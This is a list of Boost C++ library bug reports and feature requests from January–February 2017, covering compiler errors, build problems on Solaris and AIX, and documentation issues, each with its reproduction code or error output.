#12806: flat_map.hpp function force_copy break strict-aliasing on gcc < 4.4

Thu, 02 Feb 2017 16:38:59 GMT

Hello!

On function (https://github.com/boostorg/container/blob/develop/include/boost/container/flat_map.hpp#L61):

template<class D, class S>
BOOST_CONTAINER_FORCEINLINE static D force_copy(S s)
{
   D *vp = reinterpret_cast<D *>(&s);
   return D(*vp);
}

gcc 4.3.4 (SLE 11) produced wrong code. It seems that the compiler does not create a copy of an object "s" and returns an object of D().

If I change the signature of function on "BOOST_CONTAINER_FORCEINLINE static D force_copy(const S& s)" the code works and the tests pass. But then does not create a copy of an object "s" in a function call.

I'm not sure that this change is correct. Is there any other workaround for this problem with a compiler gcc 4.3 or better disable strict-aliasing?

#12804: Can't compiler IPC atomic_cas32<> on AIX.ppc with GCC

dima.ru.com@… — Thu, 02 Feb 2017 07:39:03 GMT

Hello,

I'm trying to use boost::atomic<> on AIX.ppc (v7.1) box and compile code with GCC. But unfortunately, the code below fails to compile :

inline boost::uint32_t atomic_cas32
   (volatile boost::uint32_t *mem, boost::uint32_t with, boost::uint32_t cmp)
{
   boost::uint32_t prev;
   asm volatile ("1:\n\t"                      
                 "lwarx  %0,0,%1\n\t"
                 "cmpw   %0,%3\n\t"
                 "bne-   2f\n\t"                        
                 "stwcx. %2,0,%1\n\t"
                 "bne-   1b\n\t"                       
                 "2:"                          
                 : "=&r"(prev)
                 : "b" (mem), "r" (with), "r" (cmp)
                 : "cc", "memory");
   return prev;
}

AIX assembler (/usr/bin/as) execution fails with error saying that "labels need to follow the symbol rules". Simple change from "1:\n\t" to "t_1:\n\t" fixes the issue.

I have a question : Is boost::atomic<> is designed to be compiled with GCC on AIX.ppc ? Or should it be used only with native xlC compiler ?

Environment :

-bash-4.3$ as -v
as V7.1
-bash-4.3$ gcc -v
Using built-in specs.
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/opt/freeware/libexec/gcc/powerpc-ibm-aix7.1.0.0/4.8.5/lto-wrapper
Target: powerpc-ibm-aix7.1.0.0
Configured with: ../gcc-4.8.5/configure --prefix=/opt/freeware --mandir=/opt/freeware/man --infodir=/opt/freeware/info --with-local-prefix=/opt/freeware --with-as=/usr/bin/as --with-ld=/usr/bin/ld --enable-languages=c,c++,fortran --enable-version-specific-runtime-libs --disable-nls --enable-decimal-float=dpd --with-cloog=no --with-ppl=no --disable-libstdcxx-pch --enable-__cxa_atexit
Thread model: aix
gcc version 4.8.5 (GCC)
-bash-4.3$

#12802: optional is broken in 1.63

pal666@… — Wed, 01 Feb 2017 16:03:27 GMT

boost::optional<boost::recursive_wrapper<int> > o;
o = 1;

gcc says error: no match for 'operator=' (operand types are 'boost::optional<boost::recursive_wrapper<int> >' and 'int')

i found the reason for failure: is_convertible_to_T_or_factory checks is_constructinble<T, U&&>, which means <recursive_wrapper<U>, U&&>, while recursive wrapper specializes only <recursive_wrapper<T>,T> (no &&) as true and <recursive_wrapper<T>,U> (catches U=T&&) as false

i don't know who is wrong - recursive_wrapper or optional it can be fixed either by adding

template <class T> struct is_constructible < recursive_wrapper < T>, T &&> : boost::true_type{};

to recursive_wrapper or by changing boost::is_constructible<T, U&&> to boost::is_constructible<T, U> in is_convertible_to_T_or_factory

#12801: dynamic_bitset move constructor/assignment does not compile with state allocator

piotr.cisowski@… — Wed, 01 Feb 2017 09:05:38 GMT

Since C++11 custom allocators may contain state.

Asserts in move constructor/assignment

assert((b.m_bits = buffer_type()).empty());

compile only if allocator is stateless (has constructor with no arguments).

#12797: Invalid regex recursion behavior

Sun, 29 Jan 2017 14:49:10 GMT

I have found an unexpected behavior regarding recursion in regexes (in Perl mode). I've reduced the issue to the following test pattern:

(?(DEFINE)
    (?<prefix>)
    (?<dummy>x)
)
(?&prefix) unused | (?&prefix) match

If you try to match this against foo match bar, the match word should be found. This works in both Perl and PCRE, see the regex101 demo here.

Removing or commenting out the dummy group causes the pattern to match
Making the dummy group empty causes the pattern to match
Replacing (?&prefix) with (?&prefix)? causes Encountered an infinite recursion.
Replacing (?&prefix) with (?&prefix)? but making the definition of pattern non-empty causes the pattern to match

Here's the full test program:

#include <string>
#include <iostream>
#include <boost/regex.hpp>
static void test()
{
    boost::regex re(R"regex(
        (?(DEFINE)
          (?<prefix>)
          (?<dummy>x)
        )
        (?&prefix) unused | (?&prefix) match
    )regex", boost::regex::perl | boost::regex::no_mod_s | boost::regex::mod_x | boost::regex::optimize);
    std::string subject("foo match bar");
    std::cout << boost::regex_replace(subject, re, "[$&]", boost::format_all) << std::endl;
}
int main(int argc, char **argv)
{
    try
    {
        test();
    }
    catch(std::exception ex)
    {
        std::cerr << ex.what() << std::endl;
    }
    return 0;
}

Actual output is foo match bar
Expected output is foo [match] bar

Tested with Boost 1.63.0 on MSVC 2015. The full pattern where the issue appeared can be found here.

#12795: thread library - thread_specific_ptr documentation gives obsolete recomendation

Fri, 27 Jan 2017 09:37:42 GMT

thread_specific_ptr documentation says

Though compilers often provide this facility in the form of extensions to the declaration syntax (such as _declspec(thread) or thread annotations on static or namespace-scope variable declarations), such support is non-portable, and is often limited in some way, such as only supporting POD types.

Now as we have portable thread_local in current compilers, it should be prefered to use thread_local, since thread_specific_ptr has known performance limitation.

#12793: Boost.ICL document exclusive_less_than

gast128@… — Thu, 26 Jan 2017 09:24:45 GMT

Intervals in the ICL containers (set or map) are sorted based on exclusive_less_than. The documentation barely mentions it. AFAIAC this mechanism should be documented extensively (e.g. with nice pictures what happens when overlap) since it drives the ICL library for a large extend. Also lower_bound and upper_bound algorithms are driven by this compare function. Note that ICL does offer a compare functor in its interface but this one is not used in the underlying used set or map.

#12789: Instantiating bimap with all three "additional" template parameter fails to compile.

jonathan.haigh@… — Wed, 25 Jan 2017 15:21:48 GMT

The following test program fails to compile.

#include <boost/bimap.hpp>
#include <memory>
void test() {
  boost::bimap<int, int, boost::bimaps::left_based, boost::bimaps::with_info<int>, std::allocator<void>> map;
}

The compile error from g++ 4.9.2 starts with:

jhaigh@growler:~/tmp/tmp$ g++ -std=c++11 bimap_error.cpp
In file included from /usr/include/boost/bimap/bimap.hpp:61:0,
                 from /usr/include/boost/bimap.hpp:13,
                 from bimap_error.cpp:1:
/usr/include/boost/bimap/detail/bimap_core.hpp: In instantiation of ‘class boost::bimaps::detail::bimap_core<int, int, boost::bimaps::left_based, boost::bimaps::with_info<int>, std::allocator<void> >’:
/usr/include/boost/bimap/bimap.hpp:133:7:   required from ‘class boost::bimaps::bimap<int, int, boost::bimaps::left_based, boost::bimaps::with_info<int>, std::allocator<void> >’
bimap_error.cpp:5:106:   required from here
/usr/include/boost/bimap/detail/bimap_core.hpp:410:7: error: no class template named ‘rebind’ in ‘boost::bimaps::detail::manage_additional_parameters<boost::bimaps::left_based, boost::bimaps::with_info<int>, std::allocator<void> >::case_SHA::allocator {aka struct boost::bimaps::with_info<int>}’
...

Boost thinks my with_info parameter is an allocator! The full compiler output will be attached, but I think this is enough to see the problem.

It looks like the cause is the case_SHA struct in boost/bimap/detail/manage_additional_parameters that deals with the case when all three additional template parameters are given to bimap:

template< class AP1, class AP2, class AP3 >
struct manage_additional_parameters
{
...
    struct case_SHA
    {
        typedef AP1 set_type_of_relation;
        typedef AP2 allocator;
        typedef BOOST_DEDUCED_TYPENAME AP2::value_type additional_info;
    };

AP2 is used for both the allocator type and the additional_info type. I think allocator should be typedefed to AP3, not AP2.

#12788: optional 1.63 no longer can be initialized from ''

piotrwn1@… — Wed, 25 Jan 2017 09:19:18 GMT

The code below compiles fine with boost.1.62 - but it can't compile with boost1.63:

    struct S
    {
        int a;
        int b;
    };
    boost::optional<S> so;
    so = {1,2};

With error:

error: no match for 'operator=' (operand types are 'boost::optional<S>' and '<brace-enclosed initializer list>')

#12787: how to read non-utf8 strings with boost::property_tree

steinbac@… — Wed, 25 Jan 2017 09:09:24 GMT

Hi, I am having this problem with boost::property_tree::read_json since 1.59! My json tree looks like this (code attached):

static std::string reduced("{\n    \"pipename\": \"quantiser(decode_lut_string=<verbatim>\\u0000@\\u0000\200\\u0000<\\/verbatim>)\",\n    \"raw\": {\n        \"type\": \"t\",\n        \"rank\": \"3\",\n        \"shape\": {\n            \"dim\": \"256\",\n            \"dim\": \"128\",\n            \"dim\": \"128\"\n        }\n    },\n    \"encoded\": {\n        \"bytes\": \"4194304\"\n    }\n}\n",296);

If you check, there is a section between <verbatim>..</verbatim> that I'd like to parse as is. the read_json method however throws an exception saying that:

<unspecified file>(4): invalid code sequence

my guess is, that the characters quoted above are non-utf8 and hence property_tree throws. Is this a bug or a feature?

if it is a feature, i.e. property_tree is meant to only yield utf8 encoded strings, how would I store an arbitrary string in the property tree? NB. the string above works with boost 1.58 and older!

Best, P

#12785: building in solaris 10: ./build.sh: syntax error at line 135: `machine=$' unexpected

anonymous — Tue, 24 Jan 2017 20:10:22 GMT

This is happening because of:

tools/build/src/engine/build.sh:135:     machine=$(gcc -dumpmachine 2>/dev/null)

In solaris 10 the version of csh standing in for /bin/sh doesn't allow that syntax. As a workaround I changed the shebang line to use /bin/bash. Wherever scripts get executed by bootstrap.sh would it be possible to make it overtly call out a shell (eg, use ${SHELL}, ${CONFIG_SHELL} or something) instead of relying on the shebang line?

#12784: Use of "cp -p" on a tmpfs is broken in recent versions coreutils on solaris

anonymous — Tue, 24 Jan 2017 19:48:12 GMT

When running bootstrap.sh, under the circumstances outlined below it'll fail to copy "b2" to "jam0" with the error:

preserving permissions for 'bin.solarissparc/bjam': Operation not applicable

This happens when:

Building on solaris
Using the gcc toolset (unsure whether this is related)
umask is set to 002 (works fine with 022)
The GNU version of "cp" is the first one found in PATH
That version of "cp" was built against a new enough version of coreutils

I was able to work around the problem like this:

mkdir -p /tmp/dirty_hack
cd /tmp/dirty_hack
ln -s /usr/bin/cp
PATH=/tmp/dirty_hack:${PATH} ./bootstrap.sh ...bootstrap flags...
PATH=/tmp/dirty_hack:${PATH} ./bjam ...bjam flags...

At a minimum it might be a good idea to allow a configurable variable akin to JAMSHELL for what string to use to copy files & preserve permissions.

#12783: Make some existing solaris-specific flags only be used with the solaris studio toolset

anonymous — Tue, 24 Jan 2017 19:20:54 GMT

When building in solaris it automatically incorporates the following pre-processor definitions in a number of projects:

-D_XOPEN_SOURCE=500 -DEXTENSIONS

In either 1.45 or 1.46 these were only present in boost.asio but they've since been propagated to a number of other projects.

These should only be defined when using the solaris studio toolset. When building with the gcc toolset these definitions trip things up when feature_tests.h is included.

#12781: Boost.MPI header cannot be included in project headers

ryan.krattiger@… — Mon, 23 Jan 2017 16:18:59 GMT

When including the Boost.MPI header <boost/mpi.hpp> inside of a project specific header file multiple definitions of macros from other supporting boost libraries. (output attached)

There seems to be some header guards missing but I have not really looked in to the error beyond fixing it by not including the <boost/mpi.hpp> header outside of compiled project files.

When using OS CentOS 6.5 this error does not exist so a newer OS is required to reproduce the error. I have reproduced the error on CentOS 7, Ubuntu 16.04.1-LTS, and Fedora 25.

#12777: uniform_real_distribution fails to compile with result_type having explicit conversion constructor from float

b7.10110111@… — Sun, 22 Jan 2017 07:47:15 GMT

Consider the following test program:

#include <random>
#include <boost/random/uniform_real_distribution.hpp>
#include <half.hpp>
template<typename Float>
void test()
{
    std::random_device rd;
    std::mt19937 mt(rd());
    boost::random::uniform_real_distribution<Float> rnd(Float(1),Float(10));
    rnd(mt);
}
int main()
{
    test<float>(); // this works
    test<half_float::half>();  // and this doesn't compile
}

It uses half.hpp from half.sourceforge.net. This type has a peculiar behavior with arithmetic involving types other than it: the variable converts implicitly to float, and then the explicit constructor half_float::half(float) prevents some code from compiling. Namely, the code above doesn't compile due to the return 2 * generate_uniform_real(...) in generate_uniform_real(). I've seen there already exist explicit casts like for the arguments T(min_value / 2) and the like. I've been able to fix it locally with the attached patch.

#12773: WINDOWS- Boost thread 1.63.0 strict aliasing warnings

alexandre.nunes@… — Thu, 19 Jan 2017 13:34:42 GMT

I'm cross-compiling boost on Linux, having 32-bit mingw64 as a target.

I'm still seeing strict aliasing complaints on boost 1.63.0 thread/win32/shared_mutex.hpp.

As gcc 6 has even stricter aliasing rules, I'm afraid that these may be harmful, so I came up with the attached patch - which is ugly, but works.

#12772: Interval streaming does not work for std::wstring

gast128@… — Wed, 18 Jan 2017 09:37:09 GMT

Stream operators for intervals only work for std::string, e.g. the following code gives a compilation error:

void Test()
{
   typedef boost::icl::interval_set<int> IntervalSet;
   IntervalSet setSimple;
   setSimple.add(1).add(3);
   for (const IntervalSet::value_type& r : setSimple)
   {
      std::wstringstream wsstr;
      wsstr << r;
   }
}

#12768: Provide intrusive unordered_set with automatic bucket management

fdegros@… — Wed, 18 Jan 2017 00:51:46 GMT

The current intrusive unordered_set and unordered_multiset containers require the user to manually take care of the bucket management.

I've written a wrapper class template that takes care of the bucket management, automatically allocating them and rehashing as the set is growing. However, writing this code is still cumbersome and tricky.

Boost intrusive would be more usable and useful if it was providing this kind of functionality out of the box.

Consider providing unordered intrusive containers with automatic bucket management. Maybe this can be done by extending the existing unordered_set and unordered_multiset through some template option, or maybe it will require an entirely new class template.

Some points to consider:

These containers should be default-constructible. A default-constructed container should be valid and empty. Ideally, the default constructor should not dynamically allocate memory. Move and swap operations should be constant-time and no-throw.

#12766: Boost Units: Quantities in Constexpr Functions

a.huebl@… — Tue, 17 Jan 2017 10:37:44 GMT

I would like to use boost quantities in C++11 constexpr functions (and later C++14 constexpr functions). Unfurtunately, I can not define a simple quantity as constexpr:

#include <boost/units/systems/si.hpp>
#include <boost/units/quantity.hpp>
using namespace boost::units;
constexpr quantity< si::length, double >  dtestExt{ 0.2e-6 };
// or
constexpr quantity< si::length, double >  dtestExt = 0.2e-6;

g++ -std=c++11 (4.9.4):

error: the type ‘
const boost::units::quantity<
  boost::units::unit<
    boost::units::list<
      boost::units::dim<
        boost::units::length_base_dimension,
        boost::units::static_rational<1l>
      >,
      boost::units::dimensionless_type
    >,
    boost::units::homogeneous_system<
      boost::units::list<
        boost::units::si::meter_base_unit,
        boost::units::list<boost::units::scaled_base_unit<boost::units::cgs::gram_base_unit, boost::units::scale<10l, boost::units::static_rational<3l> > >,
        boost::units::list<boost::units::si::second_base_unit, boost::units::list<boost::units::si::ampere_base_unit, boost::units::list<boost::units::si::kelvin_base_unit, boost::units::list<boost::units::si::mole_base_unit, boost::units::list<boost::units::si::candela_base_unit, boost::units::list<boost::units::angle::radian_base_unit, boost::units::list<boost::units::angle::steradian_base_unit, boost::units::dimensionless_type> > > > > >
          >
        >
      >
    >
  >
>’
of constexpr variable ‘dtestExt’ is not literal

#12765: Provide heterogeneous lookup methods using the container's hasher and/or comparator functions

fdegros@… — Mon, 16 Jan 2017 23:50:08 GMT

Boost intrusive containers have heterogeneous lookup methods taking a key of an arbitrary type. All these methods also require to pass a hasher and/or a comparison function dealing with this key type. But what if the hasher/comparator embedded in the container itself can already deal with these key type? I'd like to avoid passing to these methods a function that the container already knows about.

Consider adding heterogeneous lookup methods using the hasher and/or comparator already stored in the container.

Like std::set or std::map, you might want to enable these methods only if the hasher and comparator declare a is_transparent nested type. See http://en.cppreference.com/w/cpp/container/map/find.

Something like:

template <typename T, class... Options>
class set {
 public:
  ...
  template <typename K, typename = key_compare::is_transparent>
  iterator find(const K& key) { return find(key, key_comp()); }
  ...
};

That would make these heterogeneous lookup methods more convenient to use.

#12764: Improve documentation regarding disposers

fdegros@… — Mon, 16 Jan 2017 23:13:00 GMT

The documentation about disposers in intrusive containers could be improved.

Disposers are unusual in the sense that they deal with pointers to nodes whereas all the other intrusive container APIs deal with references to nodes. This point should be made clearer.

For example, in: http://www.boost.org/doc/libs/1_63_0/doc/html/intrusive/erasing_and_disposing.html

remove_and_dispose_if will call the "disposer" function object for every removed element.

The documentation should emphasize that the element is passed to the disposer function by pointer, and not by reference. It is even more important in this example because remove_and_dispose_if also takes a predicate function taking elements by reference. So, we have a method remove_and_dispose_if taking two callbacks receiving elements in a different way: the predicate takes elements by reference, and the disposer takes elements by pointer. This is confusing and looks like a gratuitous inconsistency. This difference should be better explained, as well as the reason why disposers take elements by pointer and not by reference.

Also in the same page: "Note that the disposing function does not need to just destroy the object. It can implement any other operation like inserting the remove object in another container. Let's see a small example..."

But the example that follows doesn't show how to insert the removed object into another container. It shows how to destroy it with the delete operator.

There is also a typo here. Change "the remove object" to "the removed object".

Finally, this documentation should probably mention std::default_delete. It could be used in the example instead of rolling out our own function object calling the delete operator.

#12763: Provide a way to specify a default disposer

fdegros@… — Mon, 16 Jan 2017 07:19:18 GMT

It would be convenient if there was a way to specify a default disposer to be applied to elements stored in an intrusive container. This would make it easier to write containers that take ownership of their inserted elements.

This would impact the container's destructor as well as the methods erase, erase_after, clear, remove, remove_if, pop_front, pop_back, assign, unique and clone_from.

The library should probably provide a no-op disposer, which would be the default one used by intrusive containers. Particular care should be taken in clear and containers' destructors in order to avoid calling the no-op disposer for every element.

For example:

boost::intrusive::list<MyElement, boost::intrusive::disposer<std::default_delete<MyElement>>> elems;
elems.insert(*new MyElement);
// Clearing the collection deletes the elements.
elems.clear();

#12758: Fix warning: declaration of 'explicit' constructor without a single argument is redundant

martin.wild@… — Fri, 13 Jan 2017 14:28:19 GMT

Dear Boost Developers,

When compiling Boost with a certain warning level in Linux we get the following warnings. warning #2305: declaration of 'explicit' constructor without a single argument is redundant

Attached you find the diff file to resolve the problem.

Regards

Martin

#12756: Getting the error: " undefined reference to `_Py_NoneStruct' " using boost.python

Thu, 12 Jan 2017 21:57:34 GMT

Trying to use Boost.Python to wrap some c++ code. After installing boost and building the python libraries I try running it in a working c++ project (all I have done is add the #include <boost_1_63_0/boost/python.hpp> in one of the cpp files and I receive the error " undefined reference to `_Py_NoneStruct' "). I have tried it with building the boost with python 2.7 and 3.4 (using ./bootstrap.sh --with-python-version=X.Y).

I have tried on two separate Ubuntu computers. And I receive this same error on both of them. _

#12755: serialization/map.hpp tests for the wrong thing to figure out whether emplace_hint() exists

bangerth@… — Thu, 12 Jan 2017 20:02:11 GMT

Originally from here: https://github.com/geodynamics/aspect/issues/1271

boost::serialization has this piece of code in serialization/map.hpp: `

typename Container::iterator result =

#ifdef BOOST_NO_CXX11_HDR_UNORDERED_MAP

s.insert(hint, t.reference());

#else

s.emplace_hint(hint, t.reference());

#endif

` The assumption must have been that BOOST_NO_CXX11_HDR_UNORDERED_MAP is indicative of whether std::map has an emplace_hint() function (which is new to C++11). The define comes from here (boost/config/stdlib/libstdcpp3.hpp): ` C++0x headers in GCC 4.3.0 and later

#if (BOOST_LIBSTDCXX_VERSION < 40300)

!defined(BOOST_LIBSTDCXX11)

# define BOOST_NO_CXX11_HDR_ARRAY # define BOOST_NO_CXX11_HDR_TUPLE # define BOOST_NO_CXX11_HDR_UNORDERED_MAP # define BOOST_NO_CXX11_HDR_UNORDERED_SET # define BOOST_NO_CXX11_HDR_FUNCTIONAL #endif ` The problem is that for GCC 4.8, BOOST_NO_CXX11_HDR_UNORDERED_MAP is not set, but the libstdc++ that comes with this compiler still doesn't have emplace_hint(). In other words, if one tries to compile something with GCC 4.8 that calls this function, then it will result in a compiler error.

The solution is to either exclude the "special" GCC 4.8 in this one location and fall back to insert(), or to have some kind of test that is actually specific to testing whether or not emplace_hint() exists.

#12754: operator| overload for boost::range_details::replace_holder is not SFINAE friendly

Thu, 12 Jan 2017 13:40:13 GMT

If I provide a simple operator | overload for my template class and I provide a class template specializations with for instance a boost range (so that adl adds the boost::range_details namespace for overloads) then the compiler chokes on the non-SFINEA friendly overload

friendly boost::range_details::operator|(
    SinglePassRange,
    const replace_holder<BOOST_DEDUCED_TYPENAME range_value<SinglePassRange>::type> )

Example:

namespace local
{
    template<typename T>
    struct boo {};
    // this overload is not prefered when T is a boost::range::xxx_range
    template<typename T, typename U>
    auto operator|(boo<T>, U)
    {
        return false;
    }
    void finds_local_operator_overload()
    {
        std::vector<int> xs;
        // works like expected and calls local::operator|
        auto f = boo<decltype(xs)>{} | xs;
    }
    void prefers_boost_range_detail_replaced_operator_overload_instead_of_local_operator()
    {
        std::vector<int> xs;
        // compiler error because it tries to call 'boost::range_detail::operator|'
        auto filtered = xs | boost::adaptors::filtered([](auto &&x){ return x % 2; });
        auto f = boo<decltype(filtered)>{} | xs;
    }
}

clang error (msvc reports almost the same):

/xxx/../../thirdparty/boost/1.60.0/dist/boost/range/value_type.hpp:26:70: error: no type named 'type' in
      'boost::range_iterator<local::boo<boost::range_detail::filtered_range<(lambda at
      /xxx/Tests.cpp:221:49), std::vector<int, std::allocator<int> > > >, void>'
    struct range_value : iterator_value< typename range_iterator<T>::type >
                                         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~^~~~
/xxx/../../thirdparty/boost/1.60.0/dist/boost/range/adaptor/replaced.hpp:122:40: note: in instantiation of template class
      'boost::range_value<local::boo<boost::range_detail::filtered_range<(lambda at
      /xxx/Tests.cpp:221:49), std::vector<int, std::allocator<int> > > > >' requested
      here
               BOOST_DEDUCED_TYPENAME range_value<SinglePassRange>::type>& f)
                                       ^
/xxx/Tests.cpp:222:37: note: while substituting deduced template arguments into
      function template 'operator|' [with SinglePassRange = local::boo<boost::range_detail::filtered_range<(lambda at
      /xxx/Tests.cpp:221:49), std::vector<int, std::allocator<int> > > >]
        auto f = boo<decltype(filtered)>{} | xs;

This can be easily prevented by making the operator overload SFINEA friendly.

#12746: boost::filesystem::canonical fails for network paths on windows/inconsistent behavior

Rob.Conde@… — Wed, 11 Jan 2017 03:07:52 GMT

if you do:

boost::system::error_code ec;

path myPath = canonical(path("

mynetworkmachine
somepath
somefile.txt"),ec);

ec.m_val will be 161

Additionally, it does not throw an exception when using the exception form of the call.

#12743: boost::filesystem in Windows fails to compare two identical paths with different case

diecalt@… — Tue, 10 Jan 2017 14:55:16 GMT

boost::filesystem::path a = "E:
temp
One"; boost::filesystem::path b = "E:
Temp
One";

if (a == b) {

std::cout << "Paths are identical" << std::endl;

} else {

std::cout << "Paths are different" << std::endl;

}

This code prints "Paths are different".

#12741: Linker error in cross compiling with x86_64-w64-mingw32-g++

zimmermann@… — Tue, 10 Jan 2017 11:31:22 GMT

Using

using gcc : i686 : i686-w64-mingw32-g++ ;
using gcc : x86_64 : x86_64-w64-mingw32-g++ ;

in tools/build/src/user-config.jam

with x86_64-w64-mingw32-g++ (GCC) 5.3.1 20160211 and calling

./b2 toolset=gcc-x86_64 address-model=64 link=shared --stagedir=x64 target-os=windows threading=multi threadapi=win32 variant=release --with-date_time --with-filesystem --with-graph --with-math --with-program_options --with-serialization --with-system --with-thread --with-timer

gives linker errors

gcc.link.dll bin.v2/libs/serialization/build/gcc-mingw-x86_64/release/target-os-windows/threadapi-win32/threading-multi/libboost_wserialization.dll.a
bin.v2/libs/serialization/build/gcc-mingw-x86_64/release/target-os-windows/threadapi-win32/threading-multi/basic_text_wiprimitive.o:basic_text_wiprimitive.cpp:(.rdata$.refptr._ZTVN5boost7archive12codecvt_nullIwEE[.refptr._ZTVN5boost7archive12codecvt_nullIwEE]+0x0): undefined reference to `vtable for boost::archive::codecvt_null<wchar_t>'
bin.v2/libs/serialization/build/gcc-mingw-x86_64/release/target-os-windows/threadapi-win32/threading-multi/xml_wiarchive.o:xml_wiarchive.cpp:(.rdata$.refptr._ZTVN5boost7archive6detail18utf8_codecvt_facetE[.refptr._ZTVN5boost7archive6detail18utf8_codecvt_facetE]+0x0): undefined reference to `vtable for boost::archive::detail::utf8_codecvt_facet'

The 32bit version i686-w64-mingw32-g++ with toolset=gcc-i686 address-model=32 works.

#12738: Invalid include of no_exceptions_support.hpp in boost/move/algorithm.hpp.

ashapiro@… — Mon, 09 Jan 2017 15:05:41 GMT

The file boost/move/algorithm.hpp contains the following include statement, last modified in commit :

#include <boost/detail/no_exceptions_support.hpp>

This file appears to have been moved from the _detail_ module to the _core_ module in 6/2014 in _core_ commit 60c9a35d8 (_detail_ commit 099854de).

In the Ubuntu apt install of Boost, copies of no_exceptions_support.hpp exist in both /usr/include/boost/core and /usr/include/boost/detail. This is not the case, however, when cloning from git repos, and doesn't appear to have been the case for 2 years now. I'm not sure when the copied file workaround got made, but apparently the proper fix was never propagated back to the repo?

In my case it, causes bcp to silently fail to copy that file when extracting Boost.Circular Buffer, resulting in a compilation failure in my codebase. I'm not sure why bcp doesn't issue a warning that the file doesn't exist.

#12737: Invalid include of no_exceptions_support.hpp in boost/move/algorithm.hpp.

ashapiro@… — Mon, 09 Jan 2017 15:05:36 GMT

The file boost/move/algorithm.hpp contains the following include statement, last modified in commit :

#include <boost/detail/no_exceptions_support.hpp>

This file appears to have been moved from the _detail_ module to the _core_ module in 6/2014 in _core_ commit 60c9a35d8 (_detail_ commit 099854de).

#12736: crc table init at compile time

ajax16384@… — Mon, 09 Jan 2017 14:16:47 GMT

struct crc_table_t should try to use constexpr constructor for table_ initialization. this will allow to move table_ to readonly data segment and remove table initialization code.

#12735: asio: Fails to include unistd.h if BOOST_ASIO_HAS_BOOST_CONFIG is defined

Mon, 09 Jan 2017 12:17:12 GMT

uname -a:

Linux <hostname> 4.8.0-2-amd64 #1 SMP Devuan 4.8.11-1 (2016-12-02) x86_64 GNU/Linux

clang++ --version:

clang version 3.9.1-1 (tags/RELEASE_391/rc2)

libc++ version:

#define _LIBCPP_VERSION 1101

Compilation example;

clang++ -D_GNU_SOURCE -DBOOST_USER_CONFIG=\"boost_config.hpp\" -Drestrict=__restrict__ -pthread -O2 -g -Wall -Wextra -Wno-unknown-pragmas -Werror -Wformat-security -Woverloaded-virtual -Wwrite-strings -Wnon-virtual-dtor -Wno-mismatched-tags -Wno-tautological-constant-out-of-range-compare -Wno-gnu-designator -Wno-enum-conversion -fPIC -D__STDC_LIMIT_MACROS -std=gnu++11 -Wno-deprecated-declarations -stdlib=libc++ -c -o test.cpp.o test.cpp

Error message:

In file included from asio/local/stream_protocol.hpp:23:
In file included from asio/basic_socket_acceptor.hpp:19:
In file included from asio/basic_io_object.hpp:19:
In file included from asio/io_service.hpp:767:
In file included from asio/impl/io_service.hpp:71:
In file included from asio/detail/task_io_service.hpp:198:
In file included from asio/detail/impl/task_io_service.ipp:24:
In file included from asio/detail/reactor.hpp:21:
In file included from asio/detail/epoll_reactor.hpp:29:
In file included from asio/detail/select_interrupter.hpp:25:
In file included from asio/detail/eventfd_select_interrupter.hpp:80:
asio/detail/impl/eventfd_select_interrupter.ipp:78:9: error: use of undeclared identifier 'pipe'
    if (pipe(pipe_fds) == 0)
        ^
asio/detail/impl/eventfd_select_interrupter.ipp:104:7: error: no type named 'close' in the global namespace
    ::close(write_descriptor_);
    ~~^
asio/detail/impl/eventfd_select_interrupter.ipp:106:7: error: no type named 'close' in the global namespace
    ::close(read_descriptor_);
    ~~^
asio/detail/impl/eventfd_select_interrupter.ipp:122:18: error: no member named 'write' in the global namespace
  int result = ::write(write_descriptor_, &counter, sizeof(uint64_t));
               ~~^
asio/detail/impl/eventfd_select_interrupter.ipp:135:26: error: no member named 'read' in the global namespace
      int bytes_read = ::read(read_descriptor_, &counter, sizeof(uint64_t));
                       ~~^
asio/detail/impl/eventfd_select_interrupter.ipp:148:26: error: no member named 'read' in the global namespace
      int bytes_read = ::read(read_descriptor_, data, sizeof(data));
                       ~~^
asio/detail/impl/eventfd_select_interrupter.ipp:153:24: error: no member named 'read' in the global namespace
        bytes_read = ::read(read_descriptor_, data, sizeof(data));

Details:

Given the following abbreviated configuration file (called "boost_config.hpp" in the compilation example above) passed with -DBOOST_USER_CONFIG:

#define BOOST_NO_CONFIG
#define BOOST_BIND_NO_PLACEHOLDERS
#define BOOST_DISABLE_ABI_HEADERS
#define BOOST_COMPILER_CONFIG "boost/config/compiler/clang.hpp"
#define BOOST_STDLIB_CONFIG "boost/config/stdlib/libcpp.hpp"
#define BOOST_PLATFORM "linux"
#define BOOST_HAS_UNISTD_H

Then ASIO will, in detail/config.hpp, include <boost/config.hpp> and <boost/version.hpp> and define BOOST_ASIO_HAS_BOOST_CONFIG.

Further down in the same file, BOOST_ASIO_HAS_UNISTD_H decides whether it should include unistd.h or not.

The checks performed there fails to account for situations such as this where BOOST_ASIO_HAS_BOOST_CONFIG has been defined.

This probably works "as is" for the more popular combinations since they will pull in unistd.h through other configuration files (stdlib for example), but does not work for combinations that don't do that, such as Clang using libc++ on Linux.

Fix:

If BOOST_ASIO_HAS_BOOST_CONFIG is defined, check BOOST_HAS_UNISTD_H and define BOOST_ASIO_HAS_UNISTD_H accordingly so that unistd.h gets included when it should.

#12732: Karma problem converting a char vector to string

Fri, 06 Jan 2017 15:16:39 GMT

The version of Boost.Spirit.Karma included with Boost 1.63.0 appears to have a problem converting a char vector to a string when building with Apple Clang 8.0 using the -std=c++14 (or -std=gnu++14) option. Consider the following example:

#include <boost/spirit/include/karma.hpp>
#include <boost/fusion/include/adapt_struct.hpp>
struct foo {
  std::string a, b;
};
BOOST_FUSION_ADAPT_STRUCT(
  foo,
  (std::string, a)
  (std::string, b)
)
int main()
{
  using namespace boost::spirit::karma;
  typedef rule<std::back_insert_iterator<std::string>, foo(), space_type>
    rule_t;
  rule_t r
    =   +char_ << '(' << string << ')'
    |   skip[string] << string
    ;
  foo f = {"a", "b"};
  std::string s;
  generate_delimited(std::back_inserter(s), r, space, f);
}

When compiled with the -std=c++14 and -stdlib=libc++ options, the following errors are emitted:

$ c++ -I ~/Build/ng-core-Debug/API/inc -std=c++14 -stdlib=libc++ -o karma-char-seq karma-char-seq.cpp
In file included from karma-char-seq.cpp:1:
In file included from /Users/mcdanb/Build/ng-core-Debug/API/inc/boost/phoenix.hpp:11:
In file included from /Users/mcdanb/Build/ng-core-Debug/API/inc/boost/phoenix/phoenix.hpp:11:
In file included from /Users/mcdanb/Build/ng-core-Debug/API/inc/boost/phoenix/core.hpp:13:
